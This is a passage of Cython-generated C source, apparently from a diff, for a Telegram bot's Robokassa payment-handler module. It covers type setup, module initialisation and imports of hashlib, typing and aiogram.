(__Pyx_fix_up_extension_type_from_spec(&__pyx_type_8handlers_8payments_13robokassa_pay___pyx_scope_struct_1_process_amount_selection_spec, __pyx_ptype_8handlers_8payments_13robokassa_pay___pyx_scope_struct_1_process_amount_selection) < 0) __PYX_ERR(0, 116, __pyx_L1_error) + #else + __pyx_ptype_8handlers_8payments_13robokassa_pay___pyx_scope_struct_1_process_amount_selection = &__pyx_type_8handlers_8payments_13robokassa_pay___pyx_scope_struct_1_process_amount_selection; + #endif + #if !CYTHON_COMPILING_IN_LIMITED_API + #endif + #if !CYTHON_USE_TYPE_SPECS + if (__Pyx_PyType_Ready(__pyx_ptype_8handlers_8payments_13robokassa_pay___pyx_scope_struct_1_process_amount_selection) < 0) __PYX_ERR(0, 116, __pyx_L1_error) + #endif + #if PY_MAJOR_VERSION < 3 + __pyx_ptype_8handlers_8payments_13robokassa_pay___pyx_scope_struct_1_process_amount_selection->tp_print = 0; + #endif + #if !CYTHON_COMPILING_IN_LIMITED_API + if ((CYTHON_USE_TYPE_SLOTS && CYTHON_USE_PYTYPE_LOOKUP) && likely(!__pyx_ptype_8handlers_8payments_13robokassa_pay___pyx_scope_struct_1_process_amount_selection->tp_dictoffset && __pyx_ptype_8handlers_8payments_13robokassa_pay___pyx_scope_struct_1_process_amount_selection->tp_getattro == PyObject_GenericGetAttr)) { + __pyx_ptype_8handlers_8payments_13robokassa_pay___pyx_scope_struct_1_process_amount_selection->tp_getattro = __Pyx_PyObject_GenericGetAttrNoDict; + } + #endif + #if CYTHON_USE_TYPE_SPECS + __pyx_ptype_8handlers_8payments_13robokassa_pay___pyx_scope_struct_2_robokassa_webhook = (PyTypeObject *) __Pyx_PyType_FromModuleAndSpec(__pyx_m, &__pyx_type_8handlers_8payments_13robokassa_pay___pyx_scope_struct_2_robokassa_webhook_spec, NULL); if (unlikely(!__pyx_ptype_8handlers_8payments_13robokassa_pay___pyx_scope_struct_2_robokassa_webhook)) __PYX_ERR(0, 161, __pyx_L1_error) + if (__Pyx_fix_up_extension_type_from_spec(&__pyx_type_8handlers_8payments_13robokassa_pay___pyx_scope_struct_2_robokassa_webhook_spec, __pyx_ptype_8handlers_8payments_13robokassa_pay___pyx_scope_struct_2_robokassa_webhook) < 0) __PYX_ERR(0, 161, __pyx_L1_error) + #else + __pyx_ptype_8handlers_8payments_13robokassa_pay___pyx_scope_struct_2_robokassa_webhook = &__pyx_type_8handlers_8payments_13robokassa_pay___pyx_scope_struct_2_robokassa_webhook; + #endif + #if !CYTHON_COMPILING_IN_LIMITED_API + #endif + #if !CYTHON_USE_TYPE_SPECS + if (__Pyx_PyType_Ready(__pyx_ptype_8handlers_8payments_13robokassa_pay___pyx_scope_struct_2_robokassa_webhook) < 0) __PYX_ERR(0, 161, __pyx_L1_error) + #endif + #if PY_MAJOR_VERSION < 3 + __pyx_ptype_8handlers_8payments_13robokassa_pay___pyx_scope_struct_2_robokassa_webhook->tp_print = 0; + #endif + #if !CYTHON_COMPILING_IN_LIMITED_API + if ((CYTHON_USE_TYPE_SLOTS && CYTHON_USE_PYTYPE_LOOKUP) && likely(!__pyx_ptype_8handlers_8payments_13robokassa_pay___pyx_scope_struct_2_robokassa_webhook->tp_dictoffset && __pyx_ptype_8handlers_8payments_13robokassa_pay___pyx_scope_struct_2_robokassa_webhook->tp_getattro == PyObject_GenericGetAttr)) { + __pyx_ptype_8handlers_8payments_13robokassa_pay___pyx_scope_struct_2_robokassa_webhook->tp_getattro = __Pyx_PyObject_GenericGetAttrNoDict; + } + #endif + #if CYTHON_USE_TYPE_SPECS + __pyx_ptype_8handlers_8payments_13robokassa_pay___pyx_scope_struct_3_process_custom_amount_selection = (PyTypeObject *) __Pyx_PyType_FromModuleAndSpec(__pyx_m, &__pyx_type_8handlers_8payments_13robokassa_pay___pyx_scope_struct_3_process_custom_amount_selection_spec, NULL); if (unlikely(!__pyx_ptype_8handlers_8payments_13robokassa_pay___pyx_scope_struct_3_process_custom_amount_selection)) __PYX_ERR(0, 224, __pyx_L1_error) + if (__Pyx_fix_up_extension_type_from_spec(&__pyx_type_8handlers_8payments_13robokassa_pay___pyx_scope_struct_3_process_custom_amount_selection_spec, __pyx_ptype_8handlers_8payments_13robokassa_pay___pyx_scope_struct_3_process_custom_amount_selection) < 0) __PYX_ERR(0, 224, __pyx_L1_error) + #else + __pyx_ptype_8handlers_8payments_13robokassa_pay___pyx_scope_struct_3_process_custom_amount_selection = &__pyx_type_8handlers_8payments_13robokassa_pay___pyx_scope_struct_3_process_custom_amount_selection; + #endif + #if !CYTHON_COMPILING_IN_LIMITED_API + #endif + #if !CYTHON_USE_TYPE_SPECS + if (__Pyx_PyType_Ready(__pyx_ptype_8handlers_8payments_13robokassa_pay___pyx_scope_struct_3_process_custom_amount_selection) < 0) __PYX_ERR(0, 224, __pyx_L1_error) + #endif + #if PY_MAJOR_VERSION < 3 + __pyx_ptype_8handlers_8payments_13robokassa_pay___pyx_scope_struct_3_process_custom_amount_selection->tp_print = 0; + #endif + #if !CYTHON_COMPILING_IN_LIMITED_API + if ((CYTHON_USE_TYPE_SLOTS && CYTHON_USE_PYTYPE_LOOKUP) && likely(!__pyx_ptype_8handlers_8payments_13robokassa_pay___pyx_scope_struct_3_process_custom_amount_selection->tp_dictoffset && __pyx_ptype_8handlers_8payments_13robokassa_pay___pyx_scope_struct_3_process_custom_amount_selection->tp_getattro == PyObject_GenericGetAttr)) { + __pyx_ptype_8handlers_8payments_13robokassa_pay___pyx_scope_struct_3_process_custom_amount_selection->tp_getattro = __Pyx_PyObject_GenericGetAttrNoDict; + } + #endif + #if CYTHON_USE_TYPE_SPECS + __pyx_ptype_8handlers_8payments_13robokassa_pay___pyx_scope_struct_4_handle_custom_amount_input = (PyTypeObject *) __Pyx_PyType_FromModuleAndSpec(__pyx_m, &__pyx_type_8handlers_8payments_13robokassa_pay___pyx_scope_struct_4_handle_custom_amount_input_spec, NULL); if (unlikely(!__pyx_ptype_8handlers_8payments_13robokassa_pay___pyx_scope_struct_4_handle_custom_amount_input)) __PYX_ERR(0, 244, __pyx_L1_error) + if (__Pyx_fix_up_extension_type_from_spec(&__pyx_type_8handlers_8payments_13robokassa_pay___pyx_scope_struct_4_handle_custom_amount_input_spec, __pyx_ptype_8handlers_8payments_13robokassa_pay___pyx_scope_struct_4_handle_custom_amount_input) < 0) __PYX_ERR(0, 244, __pyx_L1_error) + #else + __pyx_ptype_8handlers_8payments_13robokassa_pay___pyx_scope_struct_4_handle_custom_amount_input = &__pyx_type_8handlers_8payments_13robokassa_pay___pyx_scope_struct_4_handle_custom_amount_input; + #endif + #if !CYTHON_COMPILING_IN_LIMITED_API + #endif + #if !CYTHON_USE_TYPE_SPECS + if (__Pyx_PyType_Ready(__pyx_ptype_8handlers_8payments_13robokassa_pay___pyx_scope_struct_4_handle_custom_amount_input) < 0) __PYX_ERR(0, 244, __pyx_L1_error) + #endif + #if PY_MAJOR_VERSION < 3 + __pyx_ptype_8handlers_8payments_13robokassa_pay___pyx_scope_struct_4_handle_custom_amount_input->tp_print = 0; + #endif + #if !CYTHON_COMPILING_IN_LIMITED_API + if ((CYTHON_USE_TYPE_SLOTS && CYTHON_USE_PYTYPE_LOOKUP) && likely(!__pyx_ptype_8handlers_8payments_13robokassa_pay___pyx_scope_struct_4_handle_custom_amount_input->tp_dictoffset && __pyx_ptype_8handlers_8payments_13robokassa_pay___pyx_scope_struct_4_handle_custom_amount_input->tp_getattro == PyObject_GenericGetAttr)) { + __pyx_ptype_8handlers_8payments_13robokassa_pay___pyx_scope_struct_4_handle_custom_amount_input->tp_getattro = __Pyx_PyObject_GenericGetAttrNoDict; + } + #endif + __Pyx_RefNannyFinishContext(); + return 0; + __pyx_L1_error:; + __Pyx_RefNannyFinishContext(); + return -1; +} + +static int __Pyx_modinit_type_import_code(void) { + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("__Pyx_modinit_type_import_code", 0); + /*--- Type import code ---*/ + __Pyx_RefNannyFinishContext(); + return 0; +} + +static int __Pyx_modinit_variable_import_code(void) { + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("__Pyx_modinit_variable_import_code", 0); + /*--- Variable import code ---*/ + __Pyx_RefNannyFinishContext(); + return 0; +} + +static int __Pyx_modinit_function_import_code(void) { + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("__Pyx_modinit_function_import_code", 0); + /*--- Function import code ---*/ + __Pyx_RefNannyFinishContext(); + return 0; +} + + +#if PY_MAJOR_VERSION >= 3 +#if CYTHON_PEP489_MULTI_PHASE_INIT +static PyObject* __pyx_pymod_create(PyObject *spec, PyModuleDef *def); /*proto*/ +static int __pyx_pymod_exec_robokassa_pay(PyObject* module); /*proto*/ +static PyModuleDef_Slot __pyx_moduledef_slots[] = { + {Py_mod_create, (void*)__pyx_pymod_create}, + {Py_mod_exec, (void*)__pyx_pymod_exec_robokassa_pay}, + {0, NULL} +}; +#endif + +#ifdef __cplusplus +namespace { + struct PyModuleDef __pyx_moduledef = + #else + static struct PyModuleDef __pyx_moduledef = + #endif + { + PyModuleDef_HEAD_INIT, + "robokassa_pay", + 0, /* m_doc */ + #if CYTHON_PEP489_MULTI_PHASE_INIT + 0, /* m_size */ + #elif CYTHON_USE_MODULE_STATE + sizeof(__pyx_mstate), /* m_size */ + #else + -1, /* m_size */ + #endif + __pyx_methods /* m_methods */, + #if CYTHON_PEP489_MULTI_PHASE_INIT + __pyx_moduledef_slots, /* m_slots */ + #else + NULL, /* m_reload */ + #endif + #if CYTHON_USE_MODULE_STATE + __pyx_m_traverse, /* m_traverse */ + __pyx_m_clear, /* m_clear */ + NULL /* m_free */ + #else + NULL, /* m_traverse */ + NULL, /* m_clear */ + NULL /* m_free */ + #endif + }; + #ifdef __cplusplus +} /* anonymous namespace */ +#endif +#endif + +#ifndef CYTHON_NO_PYINIT_EXPORT +#define __Pyx_PyMODINIT_FUNC PyMODINIT_FUNC +#elif PY_MAJOR_VERSION < 3 +#ifdef __cplusplus +#define __Pyx_PyMODINIT_FUNC extern "C" void +#else +#define __Pyx_PyMODINIT_FUNC void +#endif +#else +#ifdef __cplusplus +#define __Pyx_PyMODINIT_FUNC extern "C" PyObject * +#else +#define __Pyx_PyMODINIT_FUNC PyObject * +#endif +#endif + + +#if PY_MAJOR_VERSION < 3 +__Pyx_PyMODINIT_FUNC initrobokassa_pay(void) CYTHON_SMALL_CODE; /*proto*/ +__Pyx_PyMODINIT_FUNC initrobokassa_pay(void) +#else +__Pyx_PyMODINIT_FUNC PyInit_robokassa_pay(void) CYTHON_SMALL_CODE; /*proto*/ +__Pyx_PyMODINIT_FUNC PyInit_robokassa_pay(void) +#if CYTHON_PEP489_MULTI_PHASE_INIT +{ + return PyModuleDef_Init(&__pyx_moduledef); +} +static CYTHON_SMALL_CODE int __Pyx_check_single_interpreter(void) { + #if PY_VERSION_HEX >= 0x030700A1 + static PY_INT64_T main_interpreter_id = -1; + PY_INT64_T current_id = PyInterpreterState_GetID(PyThreadState_Get()->interp); + if (main_interpreter_id == -1) { + main_interpreter_id = current_id; + return (unlikely(current_id == -1)) ? -1 : 0; + } else if (unlikely(main_interpreter_id != current_id)) + #else + static PyInterpreterState *main_interpreter = NULL; + PyInterpreterState *current_interpreter = PyThreadState_Get()->interp; + if (!main_interpreter) { + main_interpreter = current_interpreter; + } else if (unlikely(main_interpreter != current_interpreter)) + #endif + { + PyErr_SetString( + PyExc_ImportError, + "Interpreter change detected - this module can only be loaded into one interpreter per process."); + return -1; + } + return 0; +} +#if CYTHON_COMPILING_IN_LIMITED_API +static CYTHON_SMALL_CODE int __Pyx_copy_spec_to_module(PyObject *spec, PyObject *module, const char* from_name, const char* to_name, int allow_none) +#else +static CYTHON_SMALL_CODE int __Pyx_copy_spec_to_module(PyObject *spec, PyObject *moddict, const char* from_name, const char* to_name, int allow_none) +#endif +{ + PyObject *value = PyObject_GetAttrString(spec, from_name); + int result = 0; + if (likely(value)) { + if (allow_none || value != Py_None) { +#if CYTHON_COMPILING_IN_LIMITED_API + result = PyModule_AddObject(module, to_name, value); +#else + result = PyDict_SetItemString(moddict, to_name, value); +#endif + } + Py_DECREF(value); + } else if (PyErr_ExceptionMatches(PyExc_AttributeError)) { + PyErr_Clear(); + } else { + result = -1; + } + return result; +} +static CYTHON_SMALL_CODE PyObject* __pyx_pymod_create(PyObject *spec, PyModuleDef *def) { + PyObject *module = NULL, *moddict, *modname; + CYTHON_UNUSED_VAR(def); + if (__Pyx_check_single_interpreter()) + return NULL; + if (__pyx_m) + return __Pyx_NewRef(__pyx_m); + modname = PyObject_GetAttrString(spec, "name"); + if (unlikely(!modname)) goto bad; + module = PyModule_NewObject(modname); + Py_DECREF(modname); + if (unlikely(!module)) goto bad; +#if CYTHON_COMPILING_IN_LIMITED_API + moddict = module; +#else + moddict = PyModule_GetDict(module); + if (unlikely(!moddict)) goto bad; +#endif + if (unlikely(__Pyx_copy_spec_to_module(spec, moddict, "loader", "__loader__", 1) < 0)) goto bad; + if (unlikely(__Pyx_copy_spec_to_module(spec, moddict, "origin", "__file__", 1) < 0)) goto bad; + if (unlikely(__Pyx_copy_spec_to_module(spec, moddict, "parent", "__package__", 1) < 0)) goto bad; + if (unlikely(__Pyx_copy_spec_to_module(spec, moddict, "submodule_search_locations", "__path__", 0) < 0)) goto bad; + return module; +bad: + Py_XDECREF(module); + return NULL; +} + + +static CYTHON_SMALL_CODE int __pyx_pymod_exec_robokassa_pay(PyObject *__pyx_pyinit_module) +#endif +#endif +{ + int stringtab_initialized = 0; + #if CYTHON_USE_MODULE_STATE + int pystate_addmodule_run = 0; + #endif + PyObject *__pyx_t_1 = NULL; + PyObject *__pyx_t_2 = NULL; + PyObject *__pyx_t_3 = NULL; + PyObject *__pyx_t_4 = NULL; + PyObject *__pyx_t_5 = NULL; + PyObject *__pyx_t_6 = NULL; + PyObject *__pyx_t_7 = NULL; + unsigned int __pyx_t_8; + int __pyx_t_9; + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannyDeclarations + #if CYTHON_PEP489_MULTI_PHASE_INIT + if (__pyx_m) { + if (__pyx_m == __pyx_pyinit_module) return 0; + PyErr_SetString(PyExc_RuntimeError, "Module 'robokassa_pay' has already been imported. Re-initialisation is not supported."); + return -1; + } + #elif PY_MAJOR_VERSION >= 3 + if (__pyx_m) return __Pyx_NewRef(__pyx_m); + #endif + /*--- Module creation code ---*/ + #if CYTHON_PEP489_MULTI_PHASE_INIT + __pyx_m = __pyx_pyinit_module; + Py_INCREF(__pyx_m); + #else + #if PY_MAJOR_VERSION < 3 + __pyx_m = Py_InitModule4("robokassa_pay", __pyx_methods, 0, 0, PYTHON_API_VERSION); Py_XINCREF(__pyx_m); + if (unlikely(!__pyx_m)) __PYX_ERR(0, 1, __pyx_L1_error) + #elif CYTHON_USE_MODULE_STATE + __pyx_t_1 = PyModule_Create(&__pyx_moduledef); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1, __pyx_L1_error) + { + int add_module_result = PyState_AddModule(__pyx_t_1, &__pyx_moduledef); + __pyx_t_1 = 0; /* transfer ownership from __pyx_t_1 to "robokassa_pay" pseudovariable */ + if (unlikely((add_module_result < 0))) __PYX_ERR(0, 1, __pyx_L1_error) + pystate_addmodule_run = 1; + } + #else + __pyx_m = PyModule_Create(&__pyx_moduledef); + if (unlikely(!__pyx_m)) __PYX_ERR(0, 1, __pyx_L1_error) + #endif + #endif + CYTHON_UNUSED_VAR(__pyx_t_1); + __pyx_d = PyModule_GetDict(__pyx_m); if (unlikely(!__pyx_d)) __PYX_ERR(0, 1, __pyx_L1_error) + Py_INCREF(__pyx_d); + __pyx_b = __Pyx_PyImport_AddModuleRef(__Pyx_BUILTIN_MODULE_NAME); if (unlikely(!__pyx_b)) __PYX_ERR(0, 1, __pyx_L1_error) + __pyx_cython_runtime = __Pyx_PyImport_AddModuleRef((const char *) "cython_runtime"); if (unlikely(!__pyx_cython_runtime)) __PYX_ERR(0, 1, __pyx_L1_error) + if (PyObject_SetAttrString(__pyx_m, "__builtins__", __pyx_b) < 0) __PYX_ERR(0, 1, __pyx_L1_error) + #if CYTHON_REFNANNY +__Pyx_RefNanny = __Pyx_RefNannyImportAPI("refnanny"); +if (!__Pyx_RefNanny) { + PyErr_Clear(); + __Pyx_RefNanny = __Pyx_RefNannyImportAPI("Cython.Runtime.refnanny"); + if (!__Pyx_RefNanny) + Py_FatalError("failed to import 'refnanny' module"); +} +#endif + __Pyx_RefNannySetupContext("__Pyx_PyMODINIT_FUNC PyInit_robokassa_pay(void)", 0); + if (__Pyx_check_binary_version(__PYX_LIMITED_VERSION_HEX, __Pyx_get_runtime_version(), CYTHON_COMPILING_IN_LIMITED_API) < 0) __PYX_ERR(0, 1, __pyx_L1_error) + #ifdef __Pxy_PyFrame_Initialize_Offsets + __Pxy_PyFrame_Initialize_Offsets(); + #endif + __pyx_empty_tuple = PyTuple_New(0); if (unlikely(!__pyx_empty_tuple)) __PYX_ERR(0, 1, __pyx_L1_error) + __pyx_empty_bytes = PyBytes_FromStringAndSize("", 0); if (unlikely(!__pyx_empty_bytes)) __PYX_ERR(0, 1, __pyx_L1_error) + __pyx_empty_unicode = PyUnicode_FromStringAndSize("", 0); if (unlikely(!__pyx_empty_unicode)) __PYX_ERR(0, 1, __pyx_L1_error) + #ifdef __Pyx_CyFunction_USED + if (__pyx_CyFunction_init(__pyx_m) < 0) __PYX_ERR(0, 1, __pyx_L1_error) + #endif + #ifdef __Pyx_FusedFunction_USED + if (__pyx_FusedFunction_init(__pyx_m) < 0) __PYX_ERR(0, 1, __pyx_L1_error) + #endif + #ifdef __Pyx_Coroutine_USED + if (__pyx_Coroutine_init(__pyx_m) < 0) __PYX_ERR(0, 1, __pyx_L1_error) + #endif + #ifdef __Pyx_Generator_USED + if (__pyx_Generator_init(__pyx_m) < 0) __PYX_ERR(0, 1, __pyx_L1_error) + #endif + #ifdef __Pyx_AsyncGen_USED + if (__pyx_AsyncGen_init(__pyx_m) < 0) __PYX_ERR(0, 1, __pyx_L1_error) + #endif + #ifdef __Pyx_StopAsyncIteration_USED + if (__pyx_StopAsyncIteration_init(__pyx_m) < 0) __PYX_ERR(0, 1, __pyx_L1_error) + #endif + /*--- Library function declarations ---*/ + /*--- Threads initialization code ---*/ + #if defined(WITH_THREAD) && PY_VERSION_HEX < 0x030700F0 && defined(__PYX_FORCE_INIT_THREADS) && __PYX_FORCE_INIT_THREADS + PyEval_InitThreads(); + #endif + /*--- Initialize various global constants etc. ---*/ + if (__Pyx_InitConstants() < 0) __PYX_ERR(0, 1, __pyx_L1_error) + stringtab_initialized = 1; + if (__Pyx_InitGlobals() < 0) __PYX_ERR(0, 1, __pyx_L1_error) + #if PY_MAJOR_VERSION < 3 && (__PYX_DEFAULT_STRING_ENCODING_IS_ASCII || __PYX_DEFAULT_STRING_ENCODING_IS_DEFAULT) + if (__Pyx_init_sys_getdefaultencoding_params() < 0) __PYX_ERR(0, 1, __pyx_L1_error) + #endif + if (__pyx_module_is_main_handlers__payments__robokassa_pay) { + if (PyObject_SetAttr(__pyx_m, __pyx_n_s_name, __pyx_n_s_main) < 0) __PYX_ERR(0, 1, __pyx_L1_error) + } + #if PY_MAJOR_VERSION >= 3 + { + PyObject *modules = PyImport_GetModuleDict(); if (unlikely(!modules)) __PYX_ERR(0, 1, __pyx_L1_error) + if (!PyDict_GetItemString(modules, "handlers.payments.robokassa_pay")) { + if (unlikely((PyDict_SetItemString(modules, "handlers.payments.robokassa_pay", __pyx_m) < 0))) __PYX_ERR(0, 1, __pyx_L1_error) + } + } + #endif + /*--- Builtin init code ---*/ + if (__Pyx_InitCachedBuiltins() < 0) __PYX_ERR(0, 1, __pyx_L1_error) + /*--- Constants init code ---*/ + if (__Pyx_InitCachedConstants() < 0) __PYX_ERR(0, 1, __pyx_L1_error) + /*--- Global type/function init code ---*/ + (void)__Pyx_modinit_global_init_code(); + (void)__Pyx_modinit_variable_export_code(); + (void)__Pyx_modinit_function_export_code(); + if (unlikely((__Pyx_modinit_type_init_code() < 0))) __PYX_ERR(0, 1, __pyx_L1_error) + (void)__Pyx_modinit_type_import_code(); + (void)__Pyx_modinit_variable_import_code(); + (void)__Pyx_modinit_function_import_code(); + /*--- Execution code ---*/ + #if defined(__Pyx_Generator_USED) || defined(__Pyx_Coroutine_USED) + if (__Pyx_patch_abc() < 0) __PYX_ERR(0, 1, __pyx_L1_error) + #endif + + /* "handlers/payments/robokassa_pay.py":1 + * import hashlib # <<<<<<<<<<<<<< + * from typing import Any + * + */ + __pyx_t_2 = __Pyx_ImportDottedModule(__pyx_n_s_hashlib, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 1, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_hashlib, __pyx_t_2) < 0) __PYX_ERR(0, 1, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/robokassa_pay.py":2 + * import hashlib + * from typing import Any # <<<<<<<<<<<<<< + * + * from aiogram import F, Router, types + */ + __pyx_t_2 = PyList_New(1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 2, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_INCREF(__pyx_n_s_Any); + __Pyx_GIVEREF(__pyx_n_s_Any); + if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 0, __pyx_n_s_Any)) __PYX_ERR(0, 2, __pyx_L1_error); + __pyx_t_3 = __Pyx_Import(__pyx_n_s_typing, __pyx_t_2, 0); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 2, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_Any); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 2, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_Any, __pyx_t_2) < 0) __PYX_ERR(0, 2, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/robokassa_pay.py":4 + * from typing import Any + * + * from aiogram import F, Router, types # <<<<<<<<<<<<<< + * from aiogram.fsm.context import FSMContext + * from aiogram.fsm.state import State, StatesGroup + */ + __pyx_t_3 = PyList_New(3); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 4, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_INCREF(__pyx_n_s_F); + __Pyx_GIVEREF(__pyx_n_s_F); + if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 0, __pyx_n_s_F)) __PYX_ERR(0, 4, __pyx_L1_error); + __Pyx_INCREF(__pyx_n_s_Router); + __Pyx_GIVEREF(__pyx_n_s_Router); + if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 1, __pyx_n_s_Router)) __PYX_ERR(0, 4, __pyx_L1_error); + __Pyx_INCREF(__pyx_n_s_types); + __Pyx_GIVEREF(__pyx_n_s_types); + if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 2, __pyx_n_s_types)) __PYX_ERR(0, 4, __pyx_L1_error); + __pyx_t_2 = __Pyx_Import(__pyx_n_s_aiogram, __pyx_t_3, 0); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 4, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_F); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 4, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_F, __pyx_t_3) < 0) __PYX_ERR(0, 4, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_Router); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 4, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_Router, __pyx_t_3) < 0) __PYX_ERR(0, 4, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_types); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 4, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_types, __pyx_t_3) < 0) __PYX_ERR(0, 4, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/robokassa_pay.py":5 + * + * from aiogram import F, Router, types + * from aiogram.fsm.context import FSMContext # <<<<<<<<<<<<<< + * from aiogram.fsm.state import State, StatesGroup + * from aiogram.types import InlineKeyboardButton, InlineKeyboardMarkup + */ + __pyx_t_2 = PyList_New(1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 5, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_INCREF(__pyx_n_s_FSMContext); + __Pyx_GIVEREF(__pyx_n_s_FSMContext); + if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 0, __pyx_n_s_FSMContext)) __PYX_ERR(0, 5, __pyx_L1_error); + __pyx_t_3 = __Pyx_Import(__pyx_n_s_aiogram_fsm_context, __pyx_t_2, 0); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 5, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_FSMContext); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 5, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_FSMContext, __pyx_t_2) < 0) __PYX_ERR(0, 5, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/robokassa_pay.py":6 + * from aiogram import F, Router, types + * from aiogram.fsm.context import FSMContext + * from aiogram.fsm.state import State, StatesGroup # <<<<<<<<<<<<<< + * from aiogram.types import InlineKeyboardButton, InlineKeyboardMarkup + * from aiogram.utils.keyboard import InlineKeyboardBuilder + */ + __pyx_t_3 = PyList_New(2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 6, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_INCREF(__pyx_n_s_State); + __Pyx_GIVEREF(__pyx_n_s_State); + if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 0, __pyx_n_s_State)) __PYX_ERR(0, 6, __pyx_L1_error); + __Pyx_INCREF(__pyx_n_s_StatesGroup); + __Pyx_GIVEREF(__pyx_n_s_StatesGroup); + if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 1, __pyx_n_s_StatesGroup)) __PYX_ERR(0, 6, __pyx_L1_error); + __pyx_t_2 = __Pyx_Import(__pyx_n_s_aiogram_fsm_state, __pyx_t_3, 0); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 6, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_State); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 6, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_State, __pyx_t_3) < 0) __PYX_ERR(0, 6, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_StatesGroup); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 6, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_StatesGroup, __pyx_t_3) < 0) __PYX_ERR(0, 6, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/robokassa_pay.py":7 + * from aiogram.fsm.context import FSMContext + * from aiogram.fsm.state import State, StatesGroup + * from aiogram.types import InlineKeyboardButton, InlineKeyboardMarkup # <<<<<<<<<<<<<< + * from aiogram.utils.keyboard import InlineKeyboardBuilder + * from aiohttp import web + */ + __pyx_t_2 = PyList_New(2); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 7, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_INCREF(__pyx_n_s_InlineKeyboardButton); + __Pyx_GIVEREF(__pyx_n_s_InlineKeyboardButton); + if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 0, __pyx_n_s_InlineKeyboardButton)) __PYX_ERR(0, 7, __pyx_L1_error); + __Pyx_INCREF(__pyx_n_s_InlineKeyboardMarkup); + __Pyx_GIVEREF(__pyx_n_s_InlineKeyboardMarkup); + if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 1, __pyx_n_s_InlineKeyboardMarkup)) 